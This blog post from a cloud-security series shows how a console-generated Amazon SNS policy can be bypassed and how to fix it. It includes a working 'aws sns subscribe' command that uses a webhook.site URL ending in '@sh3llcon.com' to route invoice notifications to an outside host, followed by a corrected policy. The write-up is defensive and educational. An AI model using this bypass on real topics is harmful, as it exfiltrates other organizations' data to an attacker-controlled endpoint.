Skip to content

IAM policy mishaps: Case 2 - SNS

Did you think we had forgotten about the IAM series? Well, you were right. Sorry for the delay, but here we are again.

Today, we are going to talk about Amazon Simple Notification Service (SNS).

Info

Remember that if you want to try the examples we are presenting, check out our repo .

We have prepared the different scenarios in Terraform .

📣 If this is your first time here, take a look at the earlier posts in the series, IAM policy mishaps: Intro to IAM and IAM policy mishaps: Case 1 - S3, if you haven't already.

Now, let's talk about Cloud ☁.

Unicrons in the cloud.

Yes, that's *us* "in the cloud".

The SNS (Simple Notification Service) service, one of the oldest AWS services, allows us to send messages from publishers (producers) to subscribers (consumers). Publishers communicate asynchronously with subscribers by sending messages to a topic, which is a logical access point and communication channel1.

SNS

Now that we’ve introduced ourselves 🤝, let's move on to the scenarios.

Scenario 1

Objective: Subscribe to invoice bucket notifications. Only for users within the organization, in this case, users with the domain @sh3llcon.com.

Every time an invoice is uploaded, we will receive a notification with its respective amount and description.

Scenario 1

You know we are big fans of Infrastructure as Code, but in this case, we will create the SNS topic from the AWS console:

  1. Access the SNS service:

  2. Create a new topic:

  3. Since we only want users from our organization, we modify the access policy using the built-in AWS console assistant:

  4. Let's review the policy in detail:

{
  "Sid": "__console_sub_0",
  "Effect": "Allow",
  "Principal": {
    "AWS": "*" // (1)!
  },
  "Action": "SNS:Subscribe", // (2)!
  "Resource": "arn:aws:sns:us-west-2:012345678912:sh3llcon-invoices", // (3)!
  "Condition": {
    "StringLike": {
      "SNS:Endpoint": "*@sh3llcon.com" // (4)!
    }
  }
}
  1. We allow any principal (since we will be outside AWS).
  2. The action to subscribe.
  3. The resource is our topic.
  4. The condition ensures that the endpoint ends with our domain.

Alright, everything looks correct, right? Well, let's try something... 😈

Evil...

Let's create a webhook on webhook.site and try this:

aws sns subscribe --topic-arn arn:aws:sns:us-west-2:012345678912:sh3llcon-invoices \
  --protocol https \
  --notification-endpoint https://webhook.site/b85fef26-6b98-40ad-988f-aa33aa33aa3/@sh3llcon.com
Output
{
  "SubscriptionArn": "pending confirmation"
}

Well...

It looks like we received the message to confirm the subscription on our webhook:

And if we confirm it...

It turns out we now have access to the invoice information. And without even needing an email from the organization.

And you may ask: if we used the AWS console assistant to create the topic and policy, how is this possible?

Well... 🤷🏻‍♂️

A policy created using the console...

How can we fix this issue? Easy, by using sns:Protocol:

{
  "Statement": [{
    "Effect": "Allow",
    "Action": ["sns:Subscribe"],
    "Resource": "*",
    "Condition": {
      "StringLike": {
        "sns:Endpoint": "*@example.com"
      },
      "StringEquals": {
        "sns:Protocol": "email" //(1)!
      }
    }
  }]
}
  1. The sns:Protocol parameter specifies how the notification will be sent. In this case, we allow only email (email) subscriptions. This means that if someone tries to subscribe using another protocol (such as SMS or SQS), their request will be rejected.

The funniest part of this solution is that it comes directly from the AWS documentation.

Conclusion

I think today's conclusion is quite clear:

Trust, but verify.

AWS provides us with tools to improve our security, but as we've seen in this case, blindly trusting built-in assistants or default settings can lead to unexpected surprises. It's crucial to review, test, and validate that our IAM policies work exactly as we expect.

Therefore, while we can trust AWS to help us implement security, it is our responsibility to ensure that it truly protects our resources as we intend.

Trust, but verify.

Saludos, and may the force be with you.